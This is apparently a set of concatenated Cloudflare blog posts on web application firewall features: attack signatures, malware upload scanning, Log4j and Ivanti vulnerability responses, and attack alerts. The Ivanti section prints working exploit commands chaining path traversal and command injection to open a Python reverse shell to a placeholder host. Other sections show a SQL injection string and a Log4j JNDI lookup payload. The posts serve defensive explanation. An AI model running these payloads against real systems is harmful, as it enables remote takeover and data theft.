Teams are forced into a trade-off: visibility in log mode, or protection in block mode. When a rule blocks a request, evaluation stops, and you lose visibility into how other signatures would have assessed it — valuable insight that could have helped you tune and strengthen your defenses.

Today, we’re solving this by introducing the next evolution of our managed rules: Attack Signature Detection.

When enabled, this detection inspects every request for malicious payloads and attaches rich detection metadata before any action is taken. You get complete visibility into every signature match, without sacrificing protection or performance. Onboarding becomes simple: traffic is analyzed, data accumulates, and you see exactly which signatures fire and why. You can then build precise mitigation policies based on past traffic, reducing the risk of false positives.

But we’re going one step further. We’re moving beyond request-only analysis to something far more powerful: Full-Transaction Detection.

Instead of looking at just the incoming request, this new detection correlates the entire HTTP transaction: request and response. By analyzing the full context, we dramatically reduce false positives compared to traditional request-only signature engines. More importantly, we uncover threats others miss, such as reflective SQL injection, subtle data exfiltration patterns, and dangerous misconfigurations that only reveal themselves in the response. 

Attack Signature Detection is available now in Early Access — sign up here to express interest. Full-Transaction Detection is under development; register here to be among the first to try it when it’s ready.

To provide full visibility on your traffic without slowing down the Internet, we had to change how we think about the request lifecycle. For customers who opt in, Attack Signature detection is now "always on." This means that as soon as traffic is proxied, all detection signatures are executed on every request, and the results are immediately visible in Security Analytics.

This "always-on" framework separates detection from mitigation. Detections run continuously, enriching analytics with metadata about triggered detections. This metadata is also added to the request as a new field, which customers can use to create custom policies within security rules.

^{Separating the detection of malicious payloads from the actions taken by security rules is the core of the always-on framework. This approach enhances the analytics experience and increases confidence when deploying new protections.}

Our existing Bot Score and Attack Score detections already follow this method. Attack Signature Detection provides the same coverage as our Managed Rules product but operates within this new framework.

Does this introduce additional latency to the request? No — this model is designed for efficiency. If a customer has not created a blocking rule based on a detection, the detection can be executed after the request has been sent to the origin server, ensuring that the detection itself introduces no additional latency to the traffic. Therefore, upon onboarding, the detection is enabled by default but does not impact traffic performance. When a rule is created, the detection is moved in-line with the request that might experience additional latency. The exact value depends on the traffic profile of the application. 

Compared to traditional, rule-based systems like the Cloudflare Managed Ruleset, the new detection offers a substantial advancement in web application security. This approach makes identifying malicious web payloads and deploying security rules significantly more user-friendly.

The Cloudflare Managed Ruleset is where our analyst team develops detections for common attack vectors, including SQL injection (SQLi), Cross Site Scripting (XSS), Remote Code Execution (RCE), and specific Common Vulnerabilities and Exposures (CVEs). Analysts typically release new rules weekly, with emergency releases deployed for high-profile vulnerabilities (such as the recent React2Shell release). Currently, over 700 managed rules are active in our Managed Ruleset. The new detections are also known as signature rules or simply signatures. They employ the same heuristics as Managed Rules but do not directly apply actions to traffic.

Each signature is uniquely identified by a Ref ID (similar to the Rule ID for the Managed Ruleset) and is tagged with both category and confidence. The category specifies the attack vectors the signature targets, while the confidence level indicates the likelihood of a false positive (a trigger on legitimate traffic). A rule can have only one confidence level but may have multiple categories. 

Category indicates what attack vector the rule refers to. The list of categories is long, but includes tags like SQLi, XSS, RCE or specific CVE with its number.

The confidence field is divided into two values, based on whether at least one signature from the corresponding group matches the traffic.

The detection's analysis of a request populates three fields. These fields are accessible in Security Analytics and Edge Rules Engine, our core engine for Security Rules.

Security Analytics is at the core of the Cloudflare Application Security toolbox, providing a comprehensive, data-driven view of how signatures interact with your web traffic. It gives you the tools necessary to understand, measure, and optimize your web protection. Common use cases for combining Analytics with signatures include: design a security posture during the onboarding process, verify the most frequent attack attempts and create exceptions to handle false positives.

Once a new application is proxied through Cloudflare, Attack Signature Detection begins populating your dashboard with data. The initial step is to examine the aggregated matches, categorized by type and signature, to confirm that all potential attacks are being blocked. Analysts can do this by reviewing the top statistics for signatures, filtering the data to show whether requests were blocked, served from the cache, or permitted to reach the origin server. If any malicious requests are found to have reached the origin, analysts can quickly implement security rules. 

^{A breakdown of the total request volume matching attack signatures, categorized by their corresponding Category or Signature.}

Analytics provides insights into attack patterns, such as the most frequent CVEs based on traffic volume over time. This capability is designed for quickly identifying the dominant attack payloads targeting applications and verifying the efficacy of current protections against related CVEs. For example, analysts can monitor the attack frequency targeting a specific part of the application, like /api/, or confirm if known malicious payloads, such as React2Shell, are reaching a particular endpoint, such as the POST /_next/ Node.js path. Both the Analytics filters and the Attack Analysis tool can be used to perform this type of investigation.

^{A visualization within Security Analytics offers a time-series view of malicious payloads targeting the /api/ endpoint. This view groups the data to highlight the top five CVEs by volume.}

Analytics also help create exceptions and identifying false positives. An increase in matches for a specific rule, for instance, may suggest false positives rather than active exploitation. For example, an application that allows users to submit rich HTML content (such as a Content Management Systems or support ticketing system) may legitimately include markup that matches more generic XSS signatures. In these cases, a scoped exception can be applied to the affected endpoint, while keeping the protection enabled across the rest of the application. 

This approach is especially useful for evaluating medium-confidence signatures, which balance aggressive blocking with false-positive risk. The tool allows "what-if" scenarios against historical traffic to empirically determine production performance. This process helps determine if a medium-confidence signature is appropriate for the overall traffic profile, or if a high rate of false positives requires limiting its deployment to specific URLs or request types. 

Generally, signatures that have a very low match rate on historical traffic can be more safely deployed in block mode without significant disruption to legitimate traffic. To achieve this level of confidence, Security Analytics provides the tools for in-depth forensics investigations.

Beyond immediate detection, a crucial aspect of defense management is the ability to customize your security posture. The user interface offers a searchable catalog of all security signatures, allowing you to browse the full list and understand the specific threat each is designed to address. 

^{A searchable catalog of signatures is available, providing more detail on critical detections to help customers understand the threats and the remediation actions.}

After analyzing your data and establishing confidence in how the signatures performed against your past traffic, you can easily create custom rules to handle traffic based on the detections. For example, if you want to create a policy that blocks requests matching high confidence signatures you can create the following rule:

^{Creating a rule to block requests matching with high confidence signatures.}

This is equivalent to the Cloudflare Managed Ruleset default deployment.

If you want to block all requests matching at least one rule, you will add the Medium confidence tag. This is equivalent to enabling all rules of Cloudflare Managed Ruleset. Alternatively, you can configure multiple rules, applying a more stringent action (like "Block") for detections with High confidence and a less strict action (such as "Challenge") for those with Medium confidence.

^{By selecting both High and Medium confidence you can trigger a rule if any signature matches.}

To create a rule blocking a specific CVE or attack vector, you will use Categories. The rule builder allows you to combine attack vector category tags with all existing HTTP request data. This enables you to create granular rules (or exceptions) and tailor your security posture to different parts of your application. 

^{Customers can create rules to block (or allow) requests matching specific CVEs or attack categories.}

To create rules based on a specific Signature, you can use Ref ID. You can find the right Ref ID within the rule builder by exploring the available Attack Signature rules. This is especially useful if you want to create exceptions to manage false positives.

^{Customers can browse signature rules directly from the rule builder.}

All customers continue to have access to our classic Managed Ruleset. When Attack Signature Detection is broadly available, customers will be able to choose the deployment model that best suits their needs, whether that is Attack Signature Detection or Managed Rules. Our analyst teams ensure that new detections are released simultaneously across both the Managed Ruleset and Attack Signature Detection.

Traditional web attack detection primarily focuses on the "ask": the HTTP request. However, the request only tells half the story. To know if an attack actually succeeded, you have to look at the "answer": the HTTP response.

By combining request and response metadata into a single detection event, we can dramatically reduce false positives and identify successful exploits that request-only systems miss.

For example, consider a request containing a common SQL injection string in a query parameter.

GET /user?id=1' UNION SELECT username, password FROM users--

A traditional WAF will see the UNION SELECT pattern and block it. However, if the application isn't actually vulnerable, this might be a false positive — for instance a security researcher testing their own site.

With Full-Transaction Detection, the system notes the SQLi signature in the request but waits for the response. If the origin responds with a 500 Internal Server Error or a standard 404, the confidence of a "successful exploit" is low. If the origin responds with a 200 OK and a body containing a string that matches a "sensitive data" signature (like a list of usernames), the system flags a Successful Exploit Confirmation.

To start, we are rolling out a few detection categories and plan to expand this list over time. Here are the three areas we are currently focused on, and some of the flags you’ll see:

• Exploit attempts. The detection provides web attack detections by inspecting the entire HTTP request-to-response cycle. It focuses on three key areas: identifying input exploitation like XSS and SQLi via malicious signatures, stopping automated abuse such as vulnerability probing, and confirming successful exploits by correlating suspicious requests with unusual server responses.

• Data exposure and exfiltration signals. This framework also allows us to catch data exfiltration that looks like legitimate traffic on the way in. A request for /api/v1/export is a standard administrative action. But if that specific request triggers a response containing 5,000 credit card numbers (for example identified via Luhn algorithm signatures), the transaction is flagged as Data Exposure. 

• Misconfigurations. Exposed admin interfaces are often attack vectors. Traditional security checks miss this misconfiguration because the traffic itself looks valid (real endpoints or admin pages). The issue isn't the traffic but its public accessibility. We prioritize detection based on common real-world misconfigurations seen in customer data, such as public unauthenticated Elasticsearch clusters, Internet reachable admin panels, and exposed Apache sensitive endpoints.

The detection, much like Attack Signatures, will store the results in two specific fields. These fields are accessible in our dashboard and logged within Security Analytics.

Initially, we are focused on offering visibility into matching requests via analytics. By surfacing events on potential exploits, we provide customers information that can be used for incident response through targeted remediations across their infrastructure and software stack. Our future plans include extending Security Rules to the response phase, which will empower customers to block responses based on these detections by allowing policy creation.

^{A diagram illustrating the execution locations and corresponding populated fields for both Attack Signature Detection and Full-Transaction Detection.}

Attack Signature detection is in Early Access while Full-Transaction Detection is under development. Sign up here to get access to Attack Signature, and here to express interest for Full-Transaction. We’ll gather feedback in the coming months as we prepare these features for General Availability.

File upload is a common feature in many web applications. Applications may allow users to upload files like images of flood damage to file an insurance claim, PDFs like resumes or cover letters to apply for a job, or other documents like receipts or income statements. However, beneath the convenience lies a potential threat, since allowing unrestricted file uploads can expose the web server and your enterprise network to significant risks related to security, privacy, and compliance.

Cloudflare recently introduced WAF Content Scanning, our in-line malware file detection and prevention solution to stop malicious files from reaching the web server, offering our Enterprise WAF customers an additional line of defense against security threats.

Today, we're pleased to announce that the feature is now generally available. It will be automatically rolled out to existing WAF Content Scanning customers before the end of March 2024.

In this blog post we will share more details about the new version of the feature, what we have improved, and reveal some of the technical challenges we faced while building it. This feature is available to Enterprise WAF customers as an add-on license, contact your account team to get it.

The feedback from the early access version has resulted in additional improvements. The main one is expanding the maximum size of scanned files from 1 MB to 15 MB. This change required a complete redesign of the solution's architecture and implementation. Additionally, we are improving the dashboard visibility and the overall analytics experience.

Let's quickly review how malware scanning operates within our WAF.

WAF Content Scanning operates in a few stages: users activate and configure it, then the scanning engine detects which requests contain files, the files are sent to the scanner returning the scan result fields, and finally users can build custom rules with these fields. We will dig deeper into each step in this section.

Customers can enable the feature via the API, or through the Settings page in the dashboard (Security → Settings) where a new section has been added for incoming traffic detection configuration and enablement. As soon as this action is taken, the enablement action gets distributed to the Cloudflare network and begins scanning incoming traffic.

Customers can also add a custom configuration depending on the file upload method, such as a base64 encoded file in a JSON string, which allows the specified file to be parsed and scanned automatically.

In the example below, the customer wants us to look at JSON bodies for the key “file” and scan them.

This rule is written using the wirefilter syntax.

As soon as the feature is activated and configured, the scanning engine runs the pre-scanning logic, and identifies content automatically via heuristics. In this case, the engine logic does not rely on the Content-Type header, as it’s easy for attackers to manipulate. When relevant content or a file has been found**,** the engine connects to the antivirus (AV) scanner in our Zero Trust solution to perform a thorough analysis and return the results of the scan. The engine uses the scan results to propagate useful fields that customers can use.

For every request where a file is found, the scanning engine returns various fields, including:

cf.waf.content_scan.has_malicious_obj,
cf.waf.content_scan.obj_sizes,
cf.waf.content_scan.obj_types, 
cf.waf.content_scan.obj_results

The scanning engine integrates with the WAF where customers can use those fields to create custom WAF rules to address various use cases. The basic use case is primarily blocking malicious files from reaching the web server. However, customers can construct more complex logic, such as enforcing constraints on parameters such as file sizes, file types, endpoints, or specific paths.

One question that often comes up is about the file types we detect and scan in WAF Content Scanning. Initially, addressing this query posed a challenge since HTTP requests do not have a definition of a “file”, and scanning all incoming HTTP requests does not make sense as it adds extra processing and latency. So, we had to decide on a definition to spot HTTP requests that include files, or as we call it, “uploaded content”.

The WAF Content Scanning engine makes that decision by filtering out certain content types identified by heuristics. Any content types not included in a predefined list, such as text/html, text/x-shellscript, application/json, and text/xml, are considered uploaded content and are sent to the scanner for examination. This allows us to scan a wide range of content types and file types without affecting the performance of all requests by adding extra processing. The wide range of files we scan includes:

• Executable (e.g., .exe, .dll, .wasm)

• Documents (e.g., .doc, .docx, .pdf, .ppt, .xls)

• Compressed (e.g., .7z, .gz, .zip, .rar)

• Image (e.g., .jpg, .png, .gif, .webp, .tif)

• Video and audio files within the 15 MB file size range.

The file size scanning limit of 15 Megabytes comes from the fact that the in-line file scanning as a feature is running in real time, which offers safety to the web server and instant access to clean files, but also impacts the whole request delivery process. Therefore, it’s crucial to scan the payload without causing significant delays or interruptions; namely increased CPU time and latency.

In the early design of the product, we built a system that could handle requests with a maximum body size of 1 MB, and increasing the limit to 15 MB had to happen without adding any extra latency. As mentioned, this latency is not added to all requests, but only to the requests that have uploaded content. However, increasing the size with the same design would have increased the latency by 15x for those requests.

In this section, we discuss how we previously managed scanning files embedded in JSON request bodies within the former architecture as an example, and why it was challenging to expand the file size using the same design, then compare the same example with the changes made in the new release to overcome the extra latency in details.

In order for customers to use the content scanning functionality in scanning files embedded in JSON request bodies, they had to configure a rule like:

lookup_json_string(http.request.body.raw, “file”)

This means we should look in the request body but only for the “file” key, which in the image below contains a base64 encoded string for an image.

When the request hits our Front Line (FL) NGINX proxy, we buffer the request body. This will be in an in-memory buffer, or written to a temporary file if the size of the request body exceeds the NGINX configuration of client_body_buffer_size. Then, our WAF engine executes the lookup_json_string function and returns the base64 string which is the content of the file key. The base64 string gets sent via Unix Domain Sockets to our malware scanner, which does MIME type detection and returns a verdict to the file upload scanning module.

This architecture had a bottleneck that made it hard to expand on: the expensive latency fees we had to pay. The request body is first buffered in NGINX and then copied into our WAF engine, where rules are executed. The malware scanner will then receive the execution result — which, in the worst scenario, is the entire request body — over a Unix domain socket. This indicates that once NGINX buffers the request body, we send and buffer it in two other services.

In the new design, the requirements were to scan larger files (15x larger) while not compromising on performance. To achieve this, we decided to bypass our WAF engine, which is where we introduced the most latency.

In the new architecture, we made the malware scanner aware of what is needed to execute the rule, hence bypassing the Ruleset Engine (RE). For example, the configuration “lookup_json_string(http.request.body.raw, “file”)”, will be represented roughly as:

{
   Function: lookup_json_string
   Args: [“file”]
}

This is achieved by walking the Abstract Syntax Tree (AST) when the rule is configured, and deploying the sample struct above to our global network. The struct’s values will be read by the malware scanner, and rule execution and malware detection will happen within the same service. This means we don’t need to read the request body, execute the rule in the Ruleset Engine (RE) module, and then send the results over to the malware scanner.

The malware scanner will now read the request body from the temporary file directly, perform the rule execution, and return the verdict to the file upload scanning module.

The file upload scanning module populates these fields, so they can be used to write custom rules and take actions. For example:

all(cf.waf.content_scan.obj_results[*] == "clean")

This module also enriches our logging pipelines with these fields, which can then be read in Log Push, Edge Log Delivery, Security Analytics, and Firewall Events in the dashboard. For example, this is the security log in the Cloudflare dashboard (Security → Analytics) for a web request that triggered WAF Content Scanning:

Using the concept of incoming traffic detection, WAF Content Scanning enables users to identify hidden risks through their traffic signals in the analytics before blocking or mitigating matching requests. This reduces false positives and permits security teams to make decisions based on well-informed data. Actually, this isn't the only instance in which we apply this idea, as we also do it for a number of other products, like WAF Attack Score and Bot Management.

We have integrated helpful information into our security products, like Security Analytics, to provide this data visibility. The Content Scanning tab, located on the right sidebar, displays traffic patterns even if there were no WAF rules in place. The same data is also reflected in the sampled requests, and you can create new rules from the same view.

On the other hand, if you want to fine-tune your security settings, you will see better visibility in Security Events, where these are the requests that match specific rules you have created in WAF.

Last but not least, in our Logpush datastream, we have included the scan fields that can be selected to send to any external log handler.

Before the end of March 2024, all current and new customers who have enabled WAF Content Scanning will be able to scan uploaded files up to 15 MB. Next, we'll focus on improving how we handle files in the rules, including adding a dynamic header functionality. Quarantining files is also another important feature we will be adding in the future. If you're an Enterprise customer, reach out to your account team for more information and to get access.

Most WAF providers rely on reactive methods, responding to vulnerabilities after they have been discovered and exploited. However, we believe in proactively addressing potential risks, and using AI to achieve this. Today we are sharing a recent example of a critical vulnerability (CVE-2023-46805 and CVE-2024-21887) and how Cloudflare's Attack Score powered by AI, and Emergency Rules in the WAF have countered this threat.

An authentication bypass (CVE-2023-46805) and a command injection vulnerability (CVE-2024-21887) impacting Ivanti products were recently disclosed and analyzed by AttackerKB. This vulnerability poses significant risks which could lead to unauthorized access and control over affected systems. In the following section we are going to discuss how this vulnerability can be exploited.

As discussed in AttackerKB, the attacker can send a specially crafted request to the target system using a command like this:

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B

This command targets an endpoint (/license/keys-status/) that is usually protected by authentication. However, the attacker can bypass the authentication by manipulating the URL to include /api/v1/totp/user-backup-code/../../license/keys-status/. This technique is known as directory traversal.

The URL-encoded part of the command decodes to a Python reverse shell, which looks like this:

;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CONNECTBACKIP",CONNECTBACKPORT));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';

The Python reverse shell is a way for the attacker to gain control over the target system.

The vulnerability exists in the way the system processes the node_name parameter. If an attacker can control the value of node_name, they can inject commands into the system.

To elaborate on 'node_name': The 'node_name' parameter is a component of the endpoint /api/v1/license/keys-status/path:node_name. This endpoint is where the issue primarily occurs.

The attacker can send a GET request to the URI path /api/v1/totp/user-backup-code/../../license/keys-status/;CMD; where CMD is any command they wish to execute. By using a semicolon, they can specify this command in the request. To ensure the command is correctly processed by the system, it must be URL-encoded.

Another code injection vulnerability was identified, as detailed in the blog post from AttackerKB. This time, it involves an authenticated command injection found in a different part of the system.

The same Python reverse shell payload used in the first command injection can be employed here, forming a JSON structure to trigger the vulnerability. Since the payload is in JSON, it doesn't need to be URL-encoded:

{
    "type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CONNECTBACKIP\",CONNECTBACKPORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';",
    "txtGCPProject": "a",
    "txtGCPSecret": "a",
    "txtGCPPath": "a",
    "txtGCPBucket": "a"
}

Although the /api/v1/system/maintenance/archiving/cloud-server-test-connection endpoint requires authentication, an attacker can bypass this by chaining it with the previously mentioned directory traversal vulnerability. They can construct an unauthenticated URI path /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection to reach this endpoint and exploit the vulnerability.

To execute an unauthenticated operating system command, an attacker would use a curl request like this:

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"CONNECTBACKIP\\\",CONNECTBACKPORT));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'

Cloudflare WAF is supported by an additional AI-powered layer called WAF Attack Score, which is built for the purpose of catching attack bypasses before they are even announced. Attack Score provides a score to indicate if the request is malicious or not; focusing on three main categories until now: XSS, SQLi, and some RCE variations (Command Injection, ApacheLog4J, etc.). The score ranges from 1 to 99 and the lower the score the more malicious the request is. Generally speaking, any request with a score below 20 is considered malicious.

Looking at the results of the exploitation example above of CVE-2023-46805 and CVE-2024-21887 using Cloudflare’s dashboard (Security > Events). Attack Score analysis results consist of three individual scores, each labeled to indicate their relevance to a specific attack category. There's also a global score, "WAF Attack Score", which considers the combined impact of these three scores. In some cases, the global score is affected by one of the sub-scores if the attack matches a category, here we can see the dominant sub-score is Remote Code Execution “WAF RCE Attack Score”.

Similarly, for the unauthenticated operating system command request, we received “WAF Attack Score: 19” from the AI model which also lies under the malicious request category. Worth mentioning the example scores are not fixed numbers and may vary based on the incoming attack variation.

The great news here is: customers on Enterprise and Business plans with WAF attack score enabled, along with a rule to block low scores (e.g. [cf.waf.score](https://developers.cloudflare.com/waf/about/waf-attack-score/#available-scores) le 20) or ([cf.waf.score.class](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#field-cf-waf-score-class) eq "attack") for Business, were already shielded from potential vulnerability exploits that were tested so far even before the vulnerability was announced.

In response to this critical vulnerability, Cloudflare released Emergency Rules on January 17, 2024, Within 24 hours after the proof of concept went public. These rules are part of its Managed Rules for the WAF, specifically targeting the threats posed by CVE-2023-46805 and an additional vulnerability, CVE-2024-21887, also related to Ivanti products. The rules, named "Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887," are developed to block attempts to exploit these vulnerabilities, providing an extra layer of security for Cloudflare users.

Since we deployed these rules, we have recorded a high level of activity. At the time of writing, the rule was triggered more than 180,000 times.

Cloudflare's response to CVE-2023-46805 and CVE-2024-21887 underscores the importance of having robust security measures in place. Organizations using Cloudflare services, particularly the WAF, are advised to ensure that their systems are updated with the latest rules and configurations to maintain optimal protection. We also recommend customers to deploy rules using Attack Score to improve their security posture. If you want to learn more about Attack Score, contact your account team.

Cloudflare's proactive approach to cybersecurity using AI to identify and stop attacks, exemplified by its response to CVE-2023-46805 and CVE-2024-21887, highlights how threats and attacks can be identified before they are made public and vulnerabilities disclosed. By continuously monitoring and rapidly responding to vulnerabilities, Cloudflare ensures that its clients remain secure in an increasingly complex digital landscape.

Hot on the heels of CVE-2021-44228 a second Log4J CVE has been filed CVE-2021-45046. The rules that we previously released for CVE-2021-44228 give the same level of protection for this new CVE.

This vulnerability is actively being exploited and anyone using Log4J should update to version 2.16.0 as soon as possible, even if you have previously updated to 2.15.0. The latest version can be found on the Log4J download page.

Customers using the Cloudflare WAF have three rules to help mitigate any exploit attempts:

The mitigation has been split across three rules inspecting HTTP headers, body and URL respectively.

In addition to the above rules we have also released a fourth rule that will protect against a much wider range of attacks at the cost of a higher false positive rate. For that reason we have made it available but not set it to BLOCK by default:

Log4J is a powerful Java-based logging library maintained by the Apache Software Foundation.

In all Log4J versions >= 2.0-beta9 and ← 2.14.1 JNDI features used in configuration, log messages, and parameters can be exploited by an attacker to perform remote code execution. Specifically, an attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

In addition, the previous mitigations for CVE-2021-22448 as seen in version 2.15.0 were not adequate to protect against CVE-2021-45046.

Yesterday, December 9, 2021, a very serious vulnerability in the popular Java-based logging package Log4j was disclosed. This vulnerability allows an attacker to execute code on a remote server; a so-called Remote Code Execution (RCE). Because of the widespread use of Java and Log4j this is likely one of the most serious vulnerabilities on the Internet since both Heartbleed and ShellShock.

It is CVE-2021-44228 and affects version 2 of Log4j between versions 2.0-beta-9 and 2.14.1. It is patched in 2.16.0.

In this post we explain the history of this vulnerability, how it was introduced, how Cloudflare is protecting our clients. Details of actual attempted exploitation we are seeing blocked by our firewall service are in a separate blog post.

Cloudflare uses some Java-based software and our teams worked to ensure that our systems were not vulnerable or that this vulnerability was mitigated. In parallel, we rolled out firewall rules to protect our customers.

But, if you work for a company that is using Java-based software that uses Log4j you should immediately read the section on how to mitigate and protect your systems before reading the rest.

Implement one of the following mitigation techniques:  Java 8 (or later) users should upgrade to release 2.16.0. Java 7 users should upgrade to release 2.12.2.

Otherwise, in any release other than 2.16.0, you may remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

In 2013, in version 2.0-beta9, the Log4j package added the “JNDILookup plugin” in issue LOG4J2-313. To understand how that change creates a problem, it’s necessary to understand a little about JNDI: Java Naming and Directory Interface.

JNDI has been present in Java since the late 1990s. It is a directory service that allows a Java program to find data (in the form of a Java object) through a directory. JNDI has a number of service provider interfaces (SPIs) that enable it to use a variety of directory services.

For example, SPIs exist for the CORBA COS (Common Object Service), the Java RMI (Remote Method Interface) Registry and LDAP. LDAP is a very popular directory service (the Lightweight Directory Access Protocol) and is the primary focus of CVE-2021-44228 (although other SPIs could potentially also be used).

A Java program can use JNDI and LDAP together to find a Java object containing data that it might need. For example, in the standard Java documentation there’s an example that talks to an LDAP server to retrieve attributes from an object. It uses the URL ldap://localhost:389/o=JNDITutorial to find the JNDITutorial object from an LDAP server running on the same machine (localhost) on port 389 and goes on to read attributes from it.

As the tutorial says “If your LDAP server is located on another machine or is using another port, then you need to edit the LDAP URL”. Thus the LDAP server could be running on a different machine and potentially anywhere on the Internet. That flexibility means that if an attacker could control the LDAP URL they’d be able to cause a Java program to load an object from a server under their control.

That’s the basics of JNDI and LDAP; a useful part of the Java ecosystem.

But in the case of Log4j an attacker can control the LDAP URL by causing Log4j to try to write a string like ${jndi:ldap://example.com/a}. If that happens then Log4j will connect to the LDAP server at example.com and retrieve the object.

This happens because Log4j contains special syntax in the form ${prefix:name} where prefix is one of a number of different Lookups where name should be evaluated. For example, ${java:version} is the current running version of Java.

LOG4J2-313 added a jndi Lookup as follows: “The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a ":" no prefix will be added.”

With a : present in the key, as in ${jndi:ldap://example.com/a} there’s no prefix and the LDAP server is queried for the object. And these Lookups can be used in both the configuration of Log4j as well as when lines are logged.

So all an attacker has to do is find some input that gets logged and add something like  ${jndi:ldap://example.com/a}. This could be a common HTTP header like User-Agent (that commonly gets logged) or perhaps a form parameter like username that might also be logged.

This is likely very common in Java-based Internet facing software that uses Log4j. More insidious is that non-Internet facing software that uses Java can also be exploitable as data gets passed from system to system.

For example, a User-Agent string containing the exploit could be passed to a backend system written in Java that does indexing or data science and the exploit could get logged. This is why it is vital that all Java-based software that uses Log4j version 2 is patched or has mitigations applied immediately. Even if the Internet-facing software is not written in Java it is possible that strings get passed to other systems that are in Java allowing the exploit to happen.

Or imagine a Java-based billing system that logs when the customer's first name is not found. A malicious user might create an order with a first name that contains the exploit, and it might take multiple hops (and a lot of time) to make it from the web server, via a customer database and into the billing system where it finally executes.

And Java is used for many more systems than just those that are Internet facing. For example, it’s not hard to imagine a package handling system that scans QR codes on boxes, or a contactless door key both being vulnerable if they are written in Java and use Log4j. In one case a carefully crafted QR code might contain a postal address containing the exploit string; in the other a carefully programmed door key could contain the exploit and be logged by a system that keeps track of entries and exits.

And systems that do periodic work might pick up the exploit and log it later. So the exploit could lay dormant until some indexing, roll-up, or archive process written in Java inadvertently logs the bad string. Hours or even days later.

Cloudflare rolled out protection for our customers using our Firewall in the form of rules that block the jndi Lookup in common locations in an HTTP request. This is detailed here. We have continued to refine these rules as attackers have modified their exploits and will continue to do so.

Update: all three WAF rules have now been configured with a default action of BLOCK.

A zero-day exploit affecting the popular Apache Log4j utility (CVE-2021-44228) was made public on December 9, 2021, that results in remote code execution (RCE).

This vulnerability is actively being exploited and anyone using Log4j should update to version 2.15.0 as soon as possible. The latest version can already be found on the Log4j download page.

If updating to the latest version is not possible the vulnerability can be mitigated by removing the JndiLookup class from the class path. Additionally, the issue can be mitigated on Log4j versions >=2.10 by setting the system property log4j2.formatMsgNoLookups or the LOG4J_FORMAT_MSG_NO_LOOKUPS environment variable to true.

Customers using the Cloudflare WAF can also leverage three newly deployed rules to help mitigate any exploit attempts:

The mitigation has been split across three rules inspecting HTTP headers, body and URL respectively.

We are continuing to monitor the situation and will update any WAF managed rules accordingly.

More details on the vulnerability can be found on the official Log4j security page.

Log4j is a powerful Java based logging library maintained by the Apache Software Foundation.

In all Log4j versions >= 2.0-beta9 and ← 2.14.1 JNDI features used in configuration, log messages, and parameters can be exploited by an attacker to perform remote code execution. Specifically, an attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

Our core application security features such as the WAF, firewall rules and rate limiting help keep millions of Internet properties safe. They all do so quietly without generating any notifications when attack traffic is blocked, as our focus has always been to stop malicious requests first and foremost.

Today, we are happy to announce a big step in that direction. Business and Enterprise customers can now set up proactive alerts whenever we observe a spike in firewall related events indicating a likely ongoing attack.

Alerts can be configured via email, PagerDuty or webhooks, allowing for flexible integrations across many systems.

You can find and set up the new alert types under the notifications tab in your Cloudflare account.

Two new notification types have been added to the platform.

This notification can be set up on Business and Enterprise zones, and will alert on any spike of firewall related events across all products and services. You will receive the alert within two hours of the attack being mitigated.

This notification can be set up on Enterprise zones only. It allows you to filter on the exact security service you are interested in monitoring and different notifications can be set up for different services as necessary. The alert will fire within five minutes of the attack being mitigated.

We’ve previously blogged about how accurately calculating anomalies in time series data sets is hard. Simple threshold alerting — “notify me if there are more than X events” — doesn’t work well. It takes a lot of work to tune the specific thresholds to be accurate, and even then you’re still likely to end up with false positives or missed events.

For Origin Error Rate notifications, we leaned on the methodology outlined in the Google SRE Handbook for alerting based on Service Level Objectives (SLOs). However, SLO alerting assumes that there is an established baseline. We know exactly what percentage of responses from your origin are “allowed” to be errors before something is definitely wrong. We don’t know what that percentage is for Firewall events. For example, Internet properties with many Firewall rules are more likely to have more Firewall events than Internet properties with few Firewall rules.

Instead of using SLO based alerting for Security Event notifications, we’re using Z-score calculations. The z-score methodology calculates how many standard deviations away from the mean a certain data point is. For Security Event notifications we can take the mean number of Firewall events for each distinct Internet property as the effective “baseline”, and compare the current number of Firewall events to see if there is a significant spike.

In this first iteration, a z-score threshold of 3.5 has been configured in the system and will be adjusted based on customer feedback. You can read more about the system in our WAF developer docs.

To configure these notifications, navigate to the Notifications tab of the dashboard and click “Add”. Select Security Events Alert or Advanced Security Events Alert.

As with all Cloudflare notifications, you’re able to name and describe your notification, and choose how you want to be notified. From there, you can select which domains you want to monitor.

For Advanced Security Event notifications, you can also select which services the notification should monitor. The log value in Firewall Event logs for each relevant service is also displayed in the event you are integrating directly with Cloudflare logs and wish to filter relevant events in your existing SIEMs.

